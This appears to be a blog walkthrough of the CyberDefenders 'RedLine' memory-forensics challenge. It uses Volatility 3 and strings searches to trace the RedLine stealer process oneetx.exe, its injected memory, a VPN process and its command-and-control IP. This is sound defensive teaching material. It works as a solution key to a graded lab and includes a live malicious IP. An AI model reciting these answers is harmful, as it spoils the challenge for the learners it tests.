href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-suspicious-process&#34;&gt;Question 1: What is the name of the suspicious process?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by unzipping the challenge file, &lt;code&gt;106-RedLine.zip&lt;/code&gt;, which contains the artifact we&amp;rsquo;ll be examining: &lt;code&gt;MemoryDump.mem&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You might be asking yourself what a &lt;code&gt;.mem&lt;/code&gt; file actually is and how to read it. That&amp;rsquo;s exactly the point of this challenge. A &lt;code&gt;.mem&lt;/code&gt; file is a raw memory dump of a system and captures a snapshot of its RAM at a specific point in time. This kind of image is a rich forensic artifact that lets us dig into evidence like processes and network activity, among other things.&lt;/p&gt;&#xA;&lt;p&gt;To explore it, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Volatility 3&lt;/strong&gt;&lt;/a&gt;, the modern version of the popular memory forensics framework described as &amp;ldquo;the world&amp;rsquo;s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples.&amp;ldquo;I&amp;rsquo;ll simply refer to &lt;em&gt;Volatility&lt;/em&gt; from this point forward. If you&amp;rsquo;re working in &lt;strong&gt;REMnux&lt;/strong&gt;, &lt;em&gt;Volatility&lt;/em&gt; is already included, so you&amp;rsquo;re good to go.&lt;/p&gt;&#xA;&lt;p&gt;To start answering &lt;strong&gt;Question 1&lt;/strong&gt;, we need to identify a suspicious process running on the compromised host. A pro tip to get familiar with available modules in &lt;em&gt;Volatility&lt;/em&gt; is to check the built-in help:&lt;/p&gt;&#xA;&lt;p&gt;vol3 -h&lt;/p&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;ll focus on the Windows modules. A reliable starting point for reviewing running processes is &lt;code&gt;windows.pslist&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;windows.pslist.PsList&#xA;Lists the processes present in a particular windows memory image.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s give it a try:&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f MemoryDump.mem windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;Once the output loads, we can start examining the process list. Depending on your experience with Windows internals, some entries might look unfamiliar. If you&amp;rsquo;re unsure which processes are normal or benign, a solid reference is the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SANS Hunt Evil&lt;/strong&gt;&lt;/a&gt; cheat sheet, which helps you quickly zero in on anomalous activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil&#34;  title=&#34;https://www.sans.org/posters/hunt-evil&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hunt Evil&lt;/strong&gt;&#xA;_Knowing what&amp;rsquo;s normal on a Windows host helps cut through the noise to quickly locate potential malware. Use the&amp;hellip;_www.sans.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Back to the results: a few entries stand out as unusual, including &lt;code&gt;Outline.exe&lt;/code&gt;, &lt;code&gt;tun2socks.exe&lt;/code&gt;, and &lt;code&gt;oneetx.exe&lt;/code&gt;. Of these, &lt;code&gt;oneetx.exe&lt;/code&gt; (PID 5896) draws the most attention because of its unusually high thread count compared to the other odd ones.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;800&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/b223b7fb2f34602bd4c677389ef15843_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility 3: Identifying a suspicious process with windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s take a quick detour to Google and dig into this binary name. Our search quickly leads us to an excellent post from &lt;strong&gt;Stormshield&lt;/strong&gt; titled &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.stormshield.com/news/malware-redline-chrome-extension-large-scale-malware-campaign/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;RedLine malware: from a Chrome extension to a large-scale malware campaign.&lt;/em&gt;&lt;/a&gt;&amp;rdquo;&#xA;It associates &lt;code&gt;oneetx.exe&lt;/code&gt; with the RedLine malware family, which also happens to be the name of this challenge. A pretty clear indicator that we&amp;rsquo;ve found our suspicious process.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1297px&#34; data-flex-grow=&#34;540&#34; height=&#34;148&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/0c8f56c1d7ba830108d7ad42c876530e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-child-process-name-of-the-suspicious-process&#34;&gt;Question 2: What is the child process name of the suspicious process?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the suspicious process and its associated process ID (PID), we can refine our search to uncover any child processes spawned by &lt;code&gt;oneetx.exe&lt;/code&gt; (PID 5896). To do that, we look for processes with a parent process ID (PPID) of &lt;code&gt;5896&lt;/code&gt;. A simple way to approach this is to run &lt;em&gt;Volatility&lt;/em&gt;&amp;lsquo;s &lt;code&gt;windows.pslist&lt;/code&gt; module again, but this time pipe the output through &lt;code&gt;grep&lt;/code&gt; to display only entries containing &lt;code&gt;5896&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f MemoryDump.mem windows.pslist | grep 5896&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1170px&#34; data-flex-grow=&#34;487&#34; height=&#34;164&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/3f338f2f624eff392d46cb784e1238b3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility 3: Using windows.pslist and grep to isolate parent and child processes&lt;/p&gt;&#xA;&lt;p&gt;Using &lt;code&gt;grep&lt;/code&gt; helps us isolate both the parent process and its child. In this case, we discover that &lt;code&gt;rundll32.exe&lt;/code&gt; appears as a child process because its PPID matches the PID of &lt;code&gt;oneetx.exe&lt;/code&gt;. With that connection established, we now have an additional process earmarked as we move deeper into this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/725c327a92701dc3a94b24bd59e2719d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-memory-protection-applied-to-the-suspicious-process-memoryregion&#34;&gt;Question 3: What is the memory protection applied to the suspicious process memory region?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, we need to figure out what memory protection is applied to the memory region used by &lt;code&gt;oneetx.exe&lt;/code&gt;. That might sound a little intimidating at first, but we can lean on another &lt;strong&gt;Volatility 3&lt;/strong&gt; module to handle the heavy lifting for us: &lt;strong&gt;malfind&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;windows.malfind.Malfind&#xA;Lists process memory ranges that potentially contain injected code.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal#malfind&#34;  title=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal#malfind&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Command Reference Mal&lt;/strong&gt;&#xA;_An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal#malfind&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;malfind&lt;/em&gt; module helps identify &amp;ldquo;hidden or injected code/DLLs in user-mode memory&amp;rdquo;, which makes it especially useful when we&amp;rsquo;re dealing with malware. For this challenge, all we need to do is specify the PID of &lt;code&gt;oneetx.exe&lt;/code&gt; (5896):&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f MemoryDump.mem windows.malfind &amp;ndash;pid 5896&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;901px&#34; data-flex-grow=&#34;375&#34; height=&#34;213&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/3c0cc3f74901de1dc41cadffca073413_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility 3: Identifying memory protection using windows.malfind&lt;/p&gt;&#xA;&lt;p&gt;Once the output loads, look for the &lt;code&gt;VadS Protection&lt;/code&gt; field. This tag displays the memory protection applied to the suspicious region, and it often reveals suspicious execution permissions like &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1280px&#34; data-flex-grow=&#34;533&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/0e66dcbc58a39064b209b23237ffcf20_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-name-of-the-process-responsible-for-the-vpn-connection&#34;&gt;Question 4: What is the name of the process responsible for the VPN connection?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to search for a process that&amp;rsquo;s responsible for a VPN connection. Let&amp;rsquo;s head back into &lt;em&gt;Volatility&lt;/em&gt;&amp;lsquo;s &lt;code&gt;windows.pslist&lt;/code&gt; output and look for anything that hints at tunneling or proxying behavior indicating VPN usage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;239px&#34; data-flex-grow=&#34;99&#34; height=&#34;801&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/a95bf9d6ccecc3c2c55edfea352c5cc9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility 3: Identifying a potential tunneling process&lt;/p&gt;&#xA;&lt;p&gt;While reviewing the process list, you might remember that back in &lt;strong&gt;Question 1&lt;/strong&gt; we stumbled across a few unusual entries. One of them immediately stood out as something that might support a tunneled connection: &lt;code&gt;tun2socks.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To dig a little deeper, it helps to check out the project&amp;rsquo;s GitHub page, which describes &lt;a class=&#34;link&#34; href=&#34;https://github.com/xjasonlyu/tun2socks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;tun2socks&lt;/strong&gt;&lt;/a&gt; as a tool built on the gVisor TCP/IP stack. Its listed features include universal proxying and support for multiple protocols such as HTTP, SOCKS, Shadowsocks, and SSH. Putting this all together strongly suggests it&amp;rsquo;s involved with a VPN connection, which lines up with what we&amp;rsquo;re hunting for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/xjasonlyu/tun2socks&#34;  title=&#34;https://github.com/xjasonlyu/tun2socks&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub - xjasonlyu/tun2socks: tun2socks - powered by gVisor TCP/IP stack&lt;/strong&gt;&#xA;_tun2socks - powered by gVisor TCP/IP stack. Contribute to xjasonlyu/tun2socks development by creating an account on&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/xjasonlyu/tun2socks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we know &lt;code&gt;tun2socks.exe&lt;/code&gt; looks promising, let&amp;rsquo;s determine which process launched it. We already have its parent process ID (PPID 6724), so we can use &lt;code&gt;grep&lt;/code&gt; again to quickly determine the related parent process:&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f MemoryDump.mem windows.pslist | grep &amp;ldquo;6724&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3254px&#34; data-flex-grow=&#34;1355&#34; height=&#34;59&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/cb3dfcc5099a05be7e19699b02a8b943_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ah-ha! By matching the PPID, we discover that &lt;code&gt;Outline.exe&lt;/code&gt; is the parent process. This suggests that &lt;strong&gt;Outline.exe&lt;/strong&gt; is the process responsible for the VPN connection, with &lt;code&gt;tun2socks.exe&lt;/code&gt; acting as the tunneling component. With a quick Google search, we can confirm that &lt;strong&gt;Outline VPN&lt;/strong&gt; is indeed legitimate software used to create VPN servers. I think we&amp;rsquo;ve gotten our answer, folks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1230px&#34; data-flex-grow=&#34;512&#34; height=&#34;156&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/1e041b8aa065b82fd966960bd42a6b5e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-attackers-ipaddress&#34;&gt;Question 5: What is the attacker&amp;rsquo;s IP address?&#xA;&lt;/h3&gt;&lt;p&gt;All right, now that we know &lt;code&gt;Outline.exe&lt;/code&gt; is responsible for handling the VPN connection, it&amp;rsquo;s time to shift our focus to the network artifacts captured in the memory dump. The goal is to determine whether any of the executables we&amp;rsquo;ve identified so far show evidence of external communication, starting with &lt;code&gt;oneetx.exe&lt;/code&gt;, the malicious process we tracked down in &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we can use &lt;em&gt;Volatility&lt;/em&gt;&amp;lsquo;s &lt;code&gt;windows.netscan&lt;/code&gt; module, which scans the memory image for network objects such as TCP connections. Once again, we&amp;rsquo;ll pair this with &lt;code&gt;grep&lt;/code&gt; to dial-in on entries tied to &lt;code&gt;oneetx.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;windows.netscan.NetScan&#xA;Scans for network objects present in a particular windows memory image.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s the combined command:&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f MemoryDump.mem windows.netscan | grep &amp;ldquo;oneetx.exe&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3047px&#34; data-flex-grow=&#34;1269&#34; height=&#34;63&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/f37623fb01c43757ae321a584d292bf1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! The output reveals an external IP address associated with this process. Our next step is enrichment, so let&amp;rsquo;s pivot to threat intelligence and search for the IP in &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;598px&#34; data-flex-grow=&#34;249&#34; height=&#34;321&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/d219cd63acc561fb77f3048e92faa974_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/77.91.124.20&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/77.91.124.20&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away, we can see that this IP address is linked to activity associated with &lt;em&gt;RedLine&lt;/em&gt; malware, confirming that we&amp;rsquo;ve identified the attacker&amp;rsquo;s IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/5959c162b13f2ae3d893ce65b9d47363_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-full-url-of-the-php-file-that-the-attackervisited&#34;&gt;Question 6: What is the full URL of the PHP file that the attacker visited?&#xA;&lt;/h3&gt;&lt;p&gt;Well, we already have the attacker&amp;rsquo;s IP address, so why don&amp;rsquo;t we take this a step further and see if we can uncover any URL activity connected to it? One quick way to do this is to run a simple &lt;code&gt;strings&lt;/code&gt; search against the memory dump. Since memory images often contain human-readable fragments of URLs, commands, and other artifacts, this might reveal some new information.&lt;/p&gt;&#xA;&lt;p&gt;From the terminal, we can use the &lt;code&gt;strings&lt;/code&gt; utility and pipe the results through &lt;code&gt;grep&lt;/code&gt; to isolate only the results that contain the attacker&amp;rsquo;s IP address:&lt;/p&gt;&#xA;&lt;p&gt;strings MemoryDump.mem | grep &amp;ldquo;77.91.124.20&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;820px&#34; data-flex-grow=&#34;341&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/2b0532476d00375e9e8c904059119bd7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using strings &amp;amp; grep to identify URLs&lt;/p&gt;&#xA;&lt;p&gt;From the output, we&amp;rsquo;ll notice several interesting artifacts, including a full URL that points to &lt;code&gt;index.php&lt;/code&gt;. That&amp;rsquo;s exactly what we need to answer this question!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1288px&#34; data-flex-grow=&#34;536&#34; height=&#34;149&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/ca81181993a5133f578ae6e58fb0ea64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-full-path-of-the-malicious-executable&#34;&gt;Question 7: What is the full path of the malicious executable?&#xA;&lt;/h3&gt;&lt;p&gt;Our last objective is to determine the full file path of the malicious &lt;code&gt;oneetx.exe&lt;/code&gt; executable on disk. We can approach this question the same way we handled the previous one: by running a &lt;code&gt;strings&lt;/code&gt; search against the memory dump. This time, instead of looking for an IP address, we&amp;rsquo;ll use &lt;code&gt;strings&lt;/code&gt; and pipe the results through two &lt;code&gt;grep&lt;/code&gt; filters. One looks for the name of the malicious binary (&lt;code&gt;oneetx.exe&lt;/code&gt;) and the other searches for the drive label &lt;code&gt;C:&lt;/code&gt; since we know we&amp;rsquo;re working with a Windows system.&lt;/p&gt;&#xA;&lt;p&gt;strings MemoryDump.mem | grep &amp;ldquo;oneetx.exe&amp;rdquo; | grep C:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;585px&#34; data-flex-grow=&#34;243&#34; height=&#34;328&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/4810128fc86539b1844d6f02c8d66678_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using strings to identify the malware file path&lt;/p&gt;&#xA;&lt;p&gt;Nice. The output gives us a clean file path for the &lt;code&gt;oneetx.exe&lt;/code&gt; binary, and it points to the &lt;code&gt;AppData\Local\Temp&lt;/code&gt; directory. This location often shows up during malware investigations, since it&amp;rsquo;s a common staging area that attackers abuse for downloading, unpacking, or executing payloads. Now that we&amp;rsquo;ve double-grepped our way through the last question and solved the full set, it&amp;rsquo;s time to wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1254px&#34; data-flex-grow=&#34;522&#34; height=&#34;153&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/2c51e03b670890c871aecaa865d7e9af_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This one was another fantastic addition to their catalog, with a tight focus on volatile memory analysis and a beginner-friendly opportunity to get comfortable with the &lt;em&gt;Volatility&lt;/em&gt; modules that help uncover meaningful artifacts. Piece by piece, we worked through the investigation, identified and researched a suspicious process, enriched it with threat intelligence, and built a clear picture of the attacker&amp;rsquo;s command-and-control activity and the malware involved.&lt;/p&gt;&#xA;&lt;p&gt;I picked this week&amp;rsquo;s challenge because I wanted to brush up on &lt;em&gt;Volatility&lt;/em&gt;. It&amp;rsquo;s not a tool I use every single day, but it&amp;rsquo;s always worth staying sharp and adding a few new tricks to your notebook. You never know when you&amp;rsquo;ll need them. And honestly, there&amp;rsquo;s something really rewarding about reconstructing an attack from a single forensic artifact. It&amp;rsquo;s a great reminder of just how powerful memory analysis can be when it comes to uncovering malicious behavior. Fun times!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful: &lt;strong&gt;please give it a clap and consider following me&lt;/strong&gt;! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/redline/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/redline/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Foundation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://volatilityfoundation.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://volatilityfoundation.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;GitHub — Volatility 3:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Hunt Evil Poster:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/hunt-evil&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Stormshield — &amp;quot; # &amp;ldquo;RedLine malware: from a Chrome extension to a large-scale malware campaign&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.stormshield.com/news/malware-redline-chrome-extension-large-scale-malware-campaign/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.stormshield.com/news/malware-redline-chrome-extension-large-scale-malware-campaign/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Command Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/command-reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility/wiki/command-reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Command Reference Mal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    